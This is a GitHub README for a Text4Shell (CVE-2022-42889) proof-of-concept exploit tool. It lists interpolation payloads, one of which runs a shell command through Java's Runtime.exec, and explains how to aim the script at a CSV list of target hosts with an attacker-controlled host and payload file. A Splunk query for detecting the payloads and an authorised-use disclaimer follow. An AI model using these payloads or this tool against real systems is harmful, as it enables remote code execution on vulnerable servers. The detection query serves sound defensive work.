west-wind / cve-2022-42889

Text4Shell PoC Exploit

CVE-2022-42889 PoC

Text4Shell PoC Exploit, with ability to set custom payloads.

Payload

“${prefix:engine:input}”
Prefix available - “script”, “dns”, “url”
${script:name} ex - ${script:javascript:java.lang.Runtime.getRuntime().exec('whoami')}
${url:name} ex - ${url:UTF-8:https://domain.tld}
${dns:name} ex - ${dns:address|domain.tld}

Intended Use

Usage of this script is limited to personnel who are authorised to run the payload on the target hosts for vulnerability patching purposes only. Prior to running this script, ensure you are authorised.

Usage

git clone https://github.com/west-wind/CVE-2022-42889.git
python poc-cve-2022-42889.py

Getting Started

This POC expects to receive all targets in a CSV file titled --> allTargets.csv with one column titled --> targets, containing all the targets that need to be scanned ex., http://12.23.45.67:9099 or http://spark.domain.com. The / will be added by the script.

Enter the payload to be executed on the target in the POC.conf file. Your host in --> yourHostHere http://my_domain_here.com Your payload in --> yourPayloadHere payload.sh

Made for research purposes.

Detection Splunk Query

index=web sourcetype IN (nginx, waf_logs)
| eval actual=urldecode(_raw)
| rex field=actual "(?<payloadIdentified>\$\{(script|dns|url)\:[^\"]*)" max_match=0
| where isnotnull(payloadIdentified)
| table _time src_ip dest payloadIdentified status request url user_agent referrer

Patching & References

NIST NVD

Sysdig Blog